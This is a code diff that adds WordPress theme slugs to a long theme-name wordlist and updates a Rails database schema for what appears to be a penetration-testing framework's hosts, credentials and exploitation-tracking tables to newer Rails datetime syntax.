@@ -18127,6 +19344,7 @@ sober
sobre-lite
sobsomoy
soccer
soccer-club-academy
soch-lite
socha-responsive-theme
sociable
@@ -18140,6 +19358,7 @@ social-learner
social-magazine
social-magazine-best
social-media
social-media-expert
social-snugs
socialize-lite
socially-awkward
@@ -18148,10 +19367,13 @@ sociallyviral
sociallyviral-sticky
socialmag
socialscience
societas
sodelicious-black
soekarno
sofia-wp
sofist-theme-uri-httpwordpress-org
soft-blog
soft-business
soft-love
soft-team
soft-wishper
@@ -18173,6 +19395,7 @@ softpoint
software
software-agency
software-company
software-techup
software-theme
softwareholic
softy
@@ -18180,6 +19403,7 @@ softy_extend
sohaib
soho-lite
soho-serenity
soivigol-blocks
soji-lite
sojval-elegance
sol
@@ -18254,6 +19478,7 @@ sp-circle-news
sp-mdl
spa
spa-and-salon
spa-center
spa-lite
spa-salon
spaa
@@ -18261,6 +19486,7 @@ spabeauty
space
space-material
space-north-free
spaceblock
spaceboy
spaceflux
spacious
@@ -18277,10 +19503,14 @@ spangle-lite
spanish-translation-us
spark
spark-blue
spark-building-construction
spark-construction-lite
spark-news
sparker
sparkg
sparkle-fse
sparkle-mart
sparkle-store
sparkleheart
sparkles-nursery
sparkles-nursery-theme
@@ -18330,6 +19560,8 @@ speedseo-fastload
speedster
speedup-store
speedy
speedy-growth
spera
spesa-twenty-eleven-child-by-iografica-it
sphere
sphinnx
@@ -18337,9 +19569,11 @@ sphinx
sphinx-theme-uri-httpwww-wpcy-net
sphinx-uri-httpwww-wordpress
sphinx-uri-httpwww-wordpress-org
spice-fse
spice-software
spice-software-dark
spiceblue
spicemag
spicepress
spicepress-dark
spicy
@@ -18360,6 +19594,7 @@ spina
spine
spinner-block
spinny-superlite
spinsoft
spintech
spiral-notebook
spirit
@@ -18405,6 +19640,7 @@ sportnewspvm
sportpress
sports-blog
sports-club-lite
sports-highlight
sports-lite
sports-magazine
sports-theme
@@ -18435,9 +19671,11 @@ springboard
springfestival
springinspiration
springy
sprout-wp
sproutable
sprouts
spt-custom
sptechit
spun
spun2
spyglass
@@ -18537,6 +19775,7 @@ starterbb
starterblog
starterleft
starterright
startify
startinger
startkit
startpoint
@@ -18550,9 +19789,12 @@ startup-free
startup-hub
startup-lite
startup-shop
startup-store
startup-techup
startupbiz-lite
startupwp
startupx
startupzy
startus
state-of-mind
statement
@@ -18564,9 +19806,11 @@ statice
staticwhite
station
station-pro-radio
stationary-bookstore
stationery
stationpro
status
stax
staycool
staymore
staypressed
@@ -18593,6 +19837,7 @@ sterndal
steven
steves-desk-mess
stevia
stewart
sthblue
stheme
sticky_10
@@ -18606,7 +19851,9 @@ stj-inc
stlukembc
stoca-lorel
stock
stock-photos
stockholm
stockist
stocks
stone
stonehenge
@@ -18624,6 +19871,7 @@ store-leader
store-lite
store-mall
store-mart-lite
store-press
store-prima
store-shopline
store-wp
@@ -18637,23 +19885,30 @@ storefron
storefront
storefront-business
storefront-child-theme
storefront-ecommerce
storefront-fnt
storefront-halloween
storefront-paper
storefront-starter
storefront-travel
storefronzz
storekeeper
storeluda
storely
storemax
storement
storenumberonetheme
storeone
storepress
storer
storeship
storess
storevilla
storewise
storexmas
storeystrap
storez
storezia
stork
storrr
stortech
@@ -18699,6 +19954,7 @@ streamline
strech
strepartemon
stride-lite
strike-blog
strikeball-counterstrike
striker
striker2
@@ -18737,6 +19993,7 @@ studio-x
studiopress
study-circle
study-circlek
study-education-lite
studylazy
stuff-things
stuffpost-shared-by-vestathemes-com
@@ -18787,6 +20044,7 @@ subh-lite
sublime
sublime-blog
sublime-blogger
sublime-business
sublime-journal
sublime-press
sublime-theme
@@ -18799,6 +20057,7 @@ subtleflux
subtly-stripe-ed
subuntu
success
success-coach
success1
sucha
sudanese-shopping
@@ -18854,9 +20113,11 @@ sun
sun-city
sun-village
sundance
sundara
sundarbans-blog
sunday
sunday-news-lite
sundown
sunflower
sunflower-love
sungit-lite
@@ -18875,6 +20136,7 @@ sunsettheme
sunshine
sunshine-consult
sunshine-consulting
sunshine-wanderer
sunshop
sunspot
sunstone
@@ -18887,20 +20149,25 @@ super-blogger
super-bloggers-3
super-bloggers-3-a-twenty-twelve-child-theme
super-blue
super-business
super-captain
super-construction
super-light
super-minimal
super-salon
super-sexy
super-simple
super-simple-photo-blog
super-theme
superads-lite
superb
superb-ecommerce
superb-education
superb-landingpage
superb-lite
superb-marketplace
superbiz
superblank
superblog
superblog-compact
superblogging
@@ -18916,6 +20183,7 @@ supermag
supermagpro
supermarket
supermarket-ecommerce
supermarket-zone
supermart-ecommerce
supermodne
supermoon
@@ -18929,6 +20197,7 @@ supersport
superstore
supertheme
superthemes
superware
supesu
suporte-eduardo
supplier
@@ -18982,7 +20251,9 @@ sweetheat
sweetheme
sweetly-theme-uri-httpcolorlib-comwpthemessparkling
sweetly-uri-httpcolorlib-comwpthemessparkling
sweetsi-lite
sweettoothy
sweetweb
swell-free
swell-lite
swet
@@ -19001,8 +20272,10 @@ swiftpress
swiftray
swiftray-lite
swifty-site-designer
swimming-pool
swimschool
swing-lite
swingpress
swipewp
swirly
swirly-glow-thingys
@@ -19031,6 +20304,7 @@ symbol
sympalpress-lite
sympathy-blue
symphony
symplify-blog
syn
synapse
synchronization
@@ -19039,12 +20313,15 @@ synergy-blue-by-k9
synergy-green-by-k9
synergy-pink-by-k9
syntax
syrus
system-7
sywon
szareprzenikanie
szbenz
t-shirt-clothing
ta-business
ta-dailyblog
ta-mag
ta-magazine
ta-newspaper
ta-portfolio
@@ -19062,7 +20339,10 @@ tacte
tadaima
tadpole
tafri-travel
tafri-travel-blog
tagebuch
tagora
tagora-business
taha-yoyo
tai
tai-simpleblog
@@ -19070,6 +20350,7 @@ tai-simpletheme
tailor
tailored
tailwind
taina
tainacan
tainacan-interface
taiyariclasses-uri-httpsthemepalace-comdownloadscorporate-education
@@ -19106,6 +20387,7 @@ tannistha
tantyyellow
tanuki-base
tanzaku
tanzakufse
tanzanite
tanzii
tapied-child
@@ -19139,6 +20421,8 @@ tastybite
tastyplacement
tastypress
tasveer
tatoo-lite
tattoo-designer
tattoo-expert
tattoo-wow
tattoos
@@ -19146,6 +20430,7 @@ tatu
tatva-lite
tavisha
taxcan
taxi-booking
taylor
tbiz
tc-e-commerce-shop
@@ -19202,6 +20487,7 @@ techengage
techfind
techieblog
techified
techine
techism
techlauncher
techlicioushosting
@@ -19225,6 +20511,7 @@ technogatiadsenseready
technogenous-lite
technoholic
technology
technology-techup
technology-travel-food
technosmart
technosmart-lite
@@ -19240,6 +20527,7 @@ techtree2
techtune
techtunes
techup
techup-saw
techwear-theme-uri-httpthemeisle-comthemeszerif-lite
techwormcorporate
techy-people
@@ -19259,14 +20547,22 @@ teczilla-corporate
teczilla-creative
teczilla-dark
teczilla-finance
teczilla-industry
teczilla-lite
teczilla-marketing
teczilla-organization
teczilla-portfolio
teczilla-saas
teczilla-seo
teczilla-software
teczilla-startup
teczilla-technology
teczilla-trading
tedi
tedxwc
teen-seventeen
teerex
teesa
tehno-njuz
tehnonjuz
tehran
@@ -19293,6 +20589,7 @@ temanyadaengganteng
temauno
tembesi
temka
temp-mail-x
temp8
tempera
templastic
@@ -19309,8 +20606,10 @@ templateozzamo16
templatetoaster
tempo
temptation
ten-blog
tenacity
tender-spring
tendo
tenera
tenet
tenocation
@@ -19371,8 +20670,14 @@ tg-green-light
tg-orange-mini
tgame
tgmpa_test
th-big
th-big-shop
th-blogging
th-hot-shop
th-jot
th-open
th-store
th-top
thai-spa
thallein
thalliumwp
@@ -19390,6 +20695,7 @@ the-adjustbar-two-column-left-right-side-bar-default-widget
the-adventure-journal
the-angle
the-architect-website
the-art-gallery
the-artister
the-ataraxis
the-authority
@@ -19446,6 +20752,7 @@ the-event-construction
the-event-dark
the-evol
the-evol-theme
the-evolution
the-exe
the-falcon
the-fash-blog
@@ -19458,12 +20765,14 @@ the-fundamentals-of-graphic-design
the-funk
the-gap
the-gecko
the-gig
the-glory
the-glory-template
the-go-green-theme
the-good-earth
the-guru-theme
the-h
the-headlines
the-hipster-blog
the-hotel
the-html5-boilerplate
@@ -19508,6 +20817,7 @@ the-next-university
the-nice-one
the-night-watch
the-other-blog-lite-red
the-pack-element
the-pet-clinic
the-pinata
the-portfolio
@@ -19532,6 +20842,8 @@ the-shopping
the-simple-things
the-skeleton
the-sonic
the-store
the-styled-blog
the-sunflower-theme
the-swallow
the-theme
@@ -19581,6 +20893,7 @@ thecompany
thefabbrick
thefour-lite
thegujjar
thehideout
theia-lite
thekit
theleul
@@ -19632,6 +20945,7 @@ themetastico
themetiger-fashion
themetim
themevid
themework
themey
themia-lite
themia-pro
@@ -19686,6 +21000,7 @@ thewin
theworldin35mm
thikcha-bootstrap
thin-mint
thinity
think-blue
think-me
thinker
@@ -19696,6 +21011,7 @@ third
third-eye
third-son
third-style
thirteen-blog
thirteenmag
thirtyseventyeight
this-christmas
@@ -19744,6 +21060,7 @@ tiffany-lite
tifology
tiga
tiger
tigtiger
tijaji
tijarat-business
tiki-time
@@ -19868,15 +21185,19 @@ toommorel-lite
toommorel-theme-by-inkthemes
toothpaste
top-blog
top-blogger
top-business
top-charity
top-classic-cars
top-event
top-jewelry
top-language-jobs-2
top-mag
top-newspaper
top-premium-photoblog
top-shop
top-store
top-stories
top-story
top-travel
top5revs
@@ -19919,6 +21240,7 @@ tour
tour-agency
tour-operator
tour-package
tour-travel-agent
tour-traveler
tourable
tourag
@@ -19935,6 +21257,7 @@ tove
township-lite
tp-autumn
tp-blue
tp-branded
tp-iphone
tp-philosophy
tp-purpure
@@ -19955,6 +21278,7 @@ trade
trade-business
trade-hub
trade-line
trade-more
tradebiz
tradeup
trading
@@ -19992,6 +21316,7 @@ transport-lite
transport-movers
transport-solutions
transportation
transportation-shipment
transportex
transporty
travbo
@@ -20001,6 +21326,7 @@ travel-ace
travel-advisor
travel-agency
travel-agency-booking
travel-agent
travel-and-tour
travel-away
travel-base
@@ -20016,9 +21342,11 @@ travel-booking
travel-buzz
travel-by-frelocaters
travel-canvas
travel-charm
travel-club
travel-company
travel-diaries
travel-diary
travel-escape
travel-eye
travel-eye12312312
@@ -20027,6 +21355,7 @@ travel-guide
travel-hub
travel-in-italy
travel-in-love
travel-init
travel-insight
travel-inspired
travel-is-my-life
@@ -20054,15 +21383,18 @@ travel-to-egypt
travel-tour
travel-tour-pro
travel-tourism
travel-trail
travel-trek
travel-trip-lite
travel-ultimate
travel-vlogger
travel-voyage
travel-way
traveladdict-lite
traveladdict-liteliye
travelagency
travelair
travelbee
travelberg
travelbiz
travelblog
@@ -20072,10 +21404,13 @@ traveler-blog-lite
travelera-lite
travelers
travelers-blog
travelholic
travelia
travelifestyle
travelify
travelingist
travelism
travelistic
travelkit
travellable
travellandia
@@ -20095,6 +21430,7 @@ travern
traverse-blog
traverse-diary
traversify-lite
travey
travia
traza
trcapital-lite
@@ -20116,21 +21452,26 @@ trend-shop
trending
trending-blog
trending-mag
trending-news
trendmag
trendmag-lite
trendpress
trendshop
trendy
trendy-blog
trendy-green
trendy-news
tressimple
treville
treviso
trex
trexo
triad
trial
trial-house-bootstrap-classic
trialhouse-bootstrap-classic
triangled
triangulate
tribal
tribbiani
tribe
@@ -20175,6 +21516,7 @@ tropical-beach-theme
tropical-paradise
tropicala
tropicana
trouvelot
truble
true-blue
true-blue-hue
@@ -20248,6 +21590,7 @@ tutepress
tutifruti
tuto
tutor
tutor-academy
tutor-starter
tutorial
tutorial-portfolio
@@ -20255,6 +21598,7 @@ tutorial-theme
tutorialesmanu
tutorstarter
tutsup-two
tutu
tuấn-hiệp
tv-boy-explode-black
tw
@@ -20283,9 +21627,11 @@ tweetpress
tweetsheep
twelve
twelve-14
twelve-blog
twelve-pixel
twentiy-nineteen
twenty
twenty-17
twenty-eightteen
twenty-eleven
twenty-eleven-alternative
@@ -20432,6 +21778,7 @@ twenty-twenty-one-child
twenty-twenty-one-sidebar
twenty-twenty-onee
twenty-twenty-plus
twenty-twenty-two-child
twenty-twenty20
twenty-two-five
twenty11
@@ -20444,6 +21791,7 @@ twentyfourteen
twentyfourteen-child
twentynineteen
twentyseventeen
twentyseventeen-child
twentysixteen
twentysixteen-custom
twentysixteen-customed-for-kishoredbn
@@ -20460,6 +21808,9 @@ twentytwelve-schema-org-child
twentytwenty
twentytwentyone
twentytwentyone-child-wooden
twentytwentythree
twentytwentytwo
twentytwentytwowcs2022
twentyxlarge
twentyxs
twentyxs-child
@@ -20573,6 +21924,7 @@ ultra-seven
ultrabootstrap
ultralight
ultrapress
ultravel
um
uma
uma-wp-theme
@@ -20588,6 +21940,7 @@ unakit
unar
unar-lite
unax
unblock
unbox-tours
uncode
uncode-lite
@@ -20620,7 +21973,9 @@ undistracted-zen
unfocus-green
unfocused-blues
unfold
unfoldx
uni-education
uniblock
unicare-lite
unicon
unicon-lite
@@ -20663,12 +22018,14 @@ universam-store-leader
universe
universe2
university
university-education-hub
university-hub
university-max
university-web8
university-wp
university-zone
unknown-uri-httpdemo-webulo1us-inabar1is
unlimita
unlimited
unmarked
unnamed-lite
@@ -20704,7 +22061,9 @@ upcart
update-tucson
updown-cloud
upeo
upeo-blog
upeo-business
upfront
upfrontwp
upify
upliftingblog
@@ -20751,6 +22110,7 @@ utheme
uticawp
utieletronica
utility
utility-techup
utilys
utopia
utouch-lite
@@ -20771,6 +22131,7 @@ vacation-lite
vacation-lite1
vacuous
vagabond
vagante
vaje
vajra
valazi
@@ -20805,6 +22166,7 @@ vantage-premium
vanty
vape-multipurpose-minimal-shop
vape-theme
varela-blog
varg
variant
variant-landing-page
@@ -20850,6 +22212,7 @@ vegeta
veggie-lite
veggie-lite1-2
veggie-poem
veggo-shop
vei-do-ceu
vei-do-saco
veikals
@@ -20887,6 +22250,7 @@ verbosa
verdant
verge
veridicta
veritable
veritas
verity
vermillon
@@ -20895,6 +22259,7 @@ veroxa
versal
versatile-business
versatile-business-dark
versatile-corporate
versitility
verso
verso-lite
@@ -20929,8 +22294,10 @@ vg-sento
viable-blog
viable-fame
viable-lite
viaggiando
viaggio-lite
viala
viandante
viavi-blog
vibe
vibefolio-teaser-10
@@ -20948,14 +22315,19 @@ victoriana
video
video-adventure-theme
video-blog
video-podcasting
video-sport-total
video-streaming
video-theme-adventure
videoblog
videobuzz
videocast
videofire
videofy
videographex
videography
videography-filmmaker
videolife
videomag
videomaker
videomax
@@ -20963,6 +22335,7 @@ videonowlite
videoplace
videopress
videopro-shared-by-themes24x7-com
videoshare
videostories
videoxl-free
vidmag
@@ -20987,6 +22360,8 @@ viktor-classic
viktor-lite
villa-estate
village
villanelle
villar
vilva
vina
vinay
@@ -21005,6 +22380,7 @@ vintage-stamps-theme
vintage-wall
vintage1-camera1
vintagemag
vinyl-news-mag
violet
violet-fashion-theme
violinesth
@@ -21054,6 +22430,7 @@ vishnu
visia-store
vision
vision-lite
visionwp
visitpress
viso
viso-theme
@@ -21085,6 +22462,7 @@ vivex
vivid-blog
vivid-night
vivita
vivre
vixka
vixy-catch
vizuit
@@ -21139,6 +22517,7 @@ vw-app-lite
vw-application
vw-automobile-lite
vw-bakery
vw-bakery-blocks
vw-blog-magazine
vw-book-store
vw-car-rental
@@ -21149,6 +22528,7 @@ vw-consulting
vw-corporate-business
vw-corporate-lite
vw-corporate-lite-2
vw-dark
vw-dentist
vw-driving-school
vw-eco-nature
@@ -21169,7 +22549,10 @@ vw-healthcare
vw-hospital-lite
vw-hotel
vw-interior-designs
vw-job-board
vw-kids
vw-kids-store
vw-kindergarten
vw-landing-page
vw-lawyer-attorney
vw-life-coach
@@ -21180,6 +22563,7 @@ vw-minimalist
vw-mobile-app
vw-mobile-app-red-canoa
vw-newspaper
vw-nutritionist-coach
vw-one-page
vw-painter
vw-parallax
@@ -21229,9 +22613,11 @@ w018
w1redtech
w3css
w3css-starter
w3csspress
w3t-fuseki
w7c_iz
wabc
wabi
wabi-sabi
wacko
wacool-hack-on-the-net
@@ -21245,6 +22631,8 @@ walili
walker-charity
walkermag
walkernews
walkerpress
walkershop
wall-street
wallflower
wallgreen
@@ -21266,6 +22654,7 @@ wapuu1-child
waqas
ward
wardrobe
warehouse-cargo
warm-heart
warm-home
warm-ribbon
@@ -21279,6 +22668,7 @@ washing-center
washington
wasif
wasteland
watch-store
watchertheme
watches
water
@@ -21287,6 +22677,7 @@ water-lily
water-mark
water-sports-club
watercolor
waterlava
waterloo
waternymph-and-dolphin
waterside
@@ -21321,16 +22712,20 @@ web-20
web-20-blue
web-20-pinky
web-20-simplified
web-agency-elementor
web-app
web-artist
web-conference
web-design
web-design-web8
web-designer
web-developer
web-developer-elementor
web-development
web-grapple
web-host
web-hosting
web-hosting-lite
web-hosting-theme
web-log
web-minimalist-200901
@@ -21383,6 +22778,7 @@ webstarslite
webstarterkitthirteen
webstore
webstrap
webstudio-gtns
webswp
webtacs-1
weburangbogor
@@ -21392,12 +22788,14 @@ wecare
wecodeart
wecodeart-framework
wecodeart-old
weddi-pro
wedding
wedding-band
wedding-bells
wedding-bells-lite
wedding-bride
wedding-couples
wedding-hall
wedding-happily-ever-after
wedding-journal
wedding-party
@@ -21419,10 +22817,14 @@ wedshot
wefoster
weh-lite
wehpy
wei
weight-loss
weight-loss-tea
welcome
welcomeholidays-uri-httpswordpress-orgthemestwentyseventeen
welding-services
well-being
well-book
well-built
well-rounded-redux-blue
wellbeing
@@ -21432,13 +22834,16 @@ wellness
wellness-child
wellness-coach-lite
wen-associate
wen-biz
wen-business
wen-commerce
wen-corporate
wen-travel
wen-travel-blog
wen-travel-corporate
wen-travel-dark
wen-travel-modern
wen-travel-photography
wepora
werka
west
@@ -21526,6 +22931,7 @@ whitey08-green
whitish
whitish-lite
whitney
wholesales
wholly
whoop
why-hello-there
@@ -21634,6 +23040,7 @@ wittgenstein
wix
wiz-ecommerce
wiziapp-smooth-touch
wk-finance
wk-wow
wkeducation
wlow
@@ -21649,6 +23056,7 @@ womenmagaz
wonder
wondrous
woo
woo-shop
woobie
wooclean
woocommerce-starter
@@ -21659,6 +23067,8 @@ wood-master
wood-people
wood-theme
woodberry
woodcraft-lite
woodcut
wooden
wooden-and-white-style
wooden-by-jason
@@ -21682,12 +23092,14 @@ woodsauce
woodword
woodwork-lite
woodworking
woodworking-carpenter
woody
woody-smooth
wooeco
wooketing
woolab
woomart
wooshop-wp
woosti
woostifi
woostify
@@ -21744,6 +23156,7 @@ wordpress-unix
wordpress-video-theme
words
words-blog
words-lite
wordsmith
wordsmith-anvil
wordsmith-blog
@@ -21755,9 +23168,11 @@ wordzilla
worf
work-and-travel
workart
workart-business
workflow
workfree
working-papers
workout-lite
workpress
worksblog
workspace-theme
@@ -21820,6 +23235,7 @@ wp-boxes
wp-brown
wp-bs-mix-news
wp-business
wp-business-builder
wp-c_green
wp-castle
wp-casual
@@ -21896,7 +23312,9 @@ wp-media-twentyfive
wp-meliora
wp-metrics
wp-metroui
wp-minimalist
wp-mint-magazine
wp-moose
wp-movies
wp-mozilla-community-theme-v2
wp-my-business
@@ -21904,6 +23322,7 @@ wp-nathy
wp-news-classic
wp-news-stream
wp-newsmagazine
wp-newspaper
wp-nice-mix
wp-notebook
wp-notes
@@ -22009,12 +23428,15 @@ wpbyd
wpcake
wpcan
wpchimp-countdown
wpckid
wpclick
wpcmart
wpcmedical
wpcomic
wpconfigurator
wpcount
wpcouponcode
wpcpet
wpcplant
wpcrest
wpcrux
@@ -22034,6 +23456,7 @@ wpf-authority
wpf-flaty
wpf-ultraresponsive
wpfastslide
wpflavour
wpfolio
wpfolio-three
wpgalaxy-magazine
@@ -22041,12 +23464,14 @@ wpgist
wpgrass
wpgumby
wpherald_lite
wphester
wpi-aboutme
wpideo
wpindexatic
wping-metro
wpj
wpjobman
wpkites
wpl-twentyeight
wplab-pro-wpcms
wplabo-aries
@@ -22128,6 +23553,7 @@ writee
writee-child
writee-grid
writee-parsi
writemag
writer
writer-blog
writera
@@ -22138,6 +23564,7 @@ writers-blogily
writers-desk
writers-quill
writerstrap
writeup
writhem-blog
writing-board
writing-desk
@@ -22189,9 +23616,11 @@ x-mas
x-portfolio
x-shop
x-store
x-t9
x-view
x2
x2-lite
x3p0-reflections
x6
xabstract
xaklin
@@ -22218,6 +23647,7 @@ xiando-one
xianrensea
xicoofficial
xid1theme
xidea
xin
xin-magazine
xinxin
@@ -22242,6 +23672,8 @@ xpand-blog
xpand-news
xperson-lite
xpinkfevertlx
xpomagazine
xposenews
xpressmag
xpro
xproweb
@@ -22323,6 +23755,7 @@ yepza
yes-co-ores-theme
yesp
yeti-5
yeti-blog
yeuloli
yeyita
yg-desire
@@ -22330,10 +23763,12 @@ yhsnews
yifengxuan
yinyang
yith-proteo
yith-wonder
yleave
ymac
ymflyingred
ymoo
ynet-contractor
yo-manga
yo-yo-po
yo_fik
@@ -22341,6 +23776,7 @@ yocto
yoga
yoga-coach
yoga-fitness
yoga-park
yoga-studio
yoga_guru
yogaclub-lite
@@ -22359,7 +23795,9 @@ yomel
yonarex
yoneko
yoo-developer
yordered-desktop
york-lite
york-press
yosemite
yosemite-lite
yosemite-lite1
@@ -22387,8 +23825,13 @@ yugen
yui
yui-grid-css
yuiyui
yuki
yuki-agency
yuki-magazine
yukti
yule
yuma
yuma-personal
yume
yume-tan
yummy
@@ -22463,6 +23906,7 @@ zeestyle
zeestylepro
zeesynergie
zeetasty
zeever
zeevision
zeko-lite
zelia
@@ -22485,6 +23929,7 @@ zenga-club
zengardenwedding
zenhabits-reloaded
zenimalist
zenithwp
zenlife
zenlite
zenmacrame
@@ -22533,6 +23978,7 @@ zetaone
zeus
zfirst
zgrey
zheme
zhuti
zica-lite-one-page
zifer-child
@@ -22570,7 +24016,9 @@ zm-tech-black-red
zm-theme
zmartoffcial
zmooncake
zmt-modular
znktheme-uri-httpssketchthemes-compremium-themesappointment-booking-wordpress-theme-for-consultants
zodiac-astrology
zodiac-lite
zoe
zoko
+6942 -1228
View File
File diff suppressed because it is too large Load Diff
+115 -116
View File
@@ -10,15 +10,14 @@
#
# It's strongly recommended that you check this file into your version control system.
ActiveRecord::Schema.define(version: 2019_05_07_120211) do
ActiveRecord::Schema[7.0].define(version: 2019_05_07_120211) do
# These are extensions that must be enabled in order to support this database
enable_extension "plpgsql"
create_table "api_keys", id: :serial, force: :cascade do |t|
t.text "token"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
end
create_table "async_callbacks", id: :serial, force: :cascade do |t|
@@ -27,16 +26,16 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.string "listener_uri"
t.string "target_host"
t.string "target_port"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
end
create_table "automatic_exploitation_match_results", id: :serial, force: :cascade do |t|
t.integer "match_id"
t.integer "run_id"
t.string "state", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.index ["match_id"], name: "index_automatic_exploitation_match_results_on_match_id"
t.index ["run_id"], name: "index_automatic_exploitation_match_results_on_run_id"
end
@@ -44,8 +43,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
create_table "automatic_exploitation_match_sets", id: :serial, force: :cascade do |t|
t.integer "workspace_id"
t.integer "user_id"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.index ["user_id"], name: "index_automatic_exploitation_match_sets_on_user_id"
t.index ["workspace_id"], name: "index_automatic_exploitation_match_sets_on_workspace_id"
end
@@ -54,8 +53,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.integer "module_detail_id"
t.string "state"
t.integer "nexpose_data_vulnerability_definition_id"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.integer "match_set_id"
t.string "matchable_type"
t.integer "matchable_id"
@@ -68,8 +67,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.integer "workspace_id"
t.integer "user_id"
t.integer "match_set_id"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.index ["match_set_id"], name: "index_automatic_exploitation_runs_on_match_set_id"
t.index ["user_id"], name: "index_automatic_exploitation_runs_on_user_id"
t.index ["workspace_id"], name: "index_automatic_exploitation_runs_on_workspace_id"
@@ -77,11 +76,11 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
create_table "clients", id: :serial, force: :cascade do |t|
t.integer "host_id"
t.datetime "created_at"
t.datetime "created_at", precision: nil
t.string "ua_string", limit: 1024, null: false
t.string "ua_name", limit: 64
t.string "ua_ver", limit: 32
t.datetime "updated_at"
t.datetime "updated_at", precision: nil
end
create_table "credential_cores_tasks", id: false, force: :cascade do |t|
@@ -96,8 +95,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
create_table "creds", id: :serial, force: :cascade do |t|
t.integer "service_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.string "user", limit: 2048
t.string "pass", limit: 4096
t.boolean "active", default: true
@@ -110,9 +109,9 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
create_table "events", id: :serial, force: :cascade do |t|
t.integer "workspace_id"
t.integer "host_id"
t.datetime "created_at"
t.datetime "created_at", precision: nil
t.string "name"
t.datetime "updated_at"
t.datetime "updated_at", precision: nil
t.boolean "critical"
t.boolean "seen"
t.string "username"
@@ -123,7 +122,7 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.integer "host_id"
t.integer "service_id"
t.integer "vuln_id"
t.datetime "attempted_at"
t.datetime "attempted_at", precision: nil
t.boolean "exploited"
t.string "fail_reason"
t.string "username"
@@ -141,8 +140,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.string "session_uuid", limit: 8
t.string "name", limit: 2048
t.string "payload", limit: 2048
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
end
create_table "host_details", id: :serial, force: :cascade do |t|
@@ -157,7 +156,7 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
end
create_table "hosts", id: :serial, force: :cascade do |t|
t.datetime "created_at"
t.datetime "created_at", precision: nil
t.inet "address", null: false
t.string "mac"
t.string "comm"
@@ -169,7 +168,7 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.string "os_lang"
t.string "arch"
t.integer "workspace_id", null: false
t.datetime "updated_at"
t.datetime "updated_at", precision: nil
t.text "purpose"
t.string "info", limit: 65536
t.text "comments"
@@ -197,8 +196,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
end
create_table "listeners", id: :serial, force: :cascade do |t|
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.integer "workspace_id", default: 1, null: false
t.integer "task_id"
t.boolean "enabled", default: true
@@ -217,8 +216,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.string "ltype", limit: 512
t.string "path", limit: 1024
t.text "data"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.string "content_type"
t.text "name"
t.text "info"
@@ -227,8 +226,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
end
create_table "macros", id: :serial, force: :cascade do |t|
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.text "owner"
t.text "name"
t.text "description"
@@ -243,8 +242,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.integer "public_id"
t.integer "realm_id"
t.integer "workspace_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.integer "logins_count", default: 0
t.index ["origin_type", "origin_id"], name: "index_metasploit_credential_cores_on_origin_type_and_origin_id"
t.index ["private_id"], name: "index_metasploit_credential_cores_on_private_id"
@@ -264,56 +263,56 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.integer "service_id", null: false
t.string "access_level"
t.string "status", null: false
t.datetime "last_attempted_at"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "last_attempted_at", precision: nil
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.index ["core_id", "service_id"], name: "index_metasploit_credential_logins_on_core_id_and_service_id", unique: true
t.index ["service_id", "core_id"], name: "index_metasploit_credential_logins_on_service_id_and_core_id", unique: true
end
create_table "metasploit_credential_origin_cracked_passwords", id: :serial, force: :cascade do |t|
t.integer "metasploit_credential_core_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.index ["metasploit_credential_core_id"], name: "originating_credential_cores"
end
create_table "metasploit_credential_origin_imports", id: :serial, force: :cascade do |t|
t.text "filename", null: false
t.integer "task_id"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.index ["task_id"], name: "index_metasploit_credential_origin_imports_on_task_id"
end
create_table "metasploit_credential_origin_manuals", id: :serial, force: :cascade do |t|
t.integer "user_id", null: false
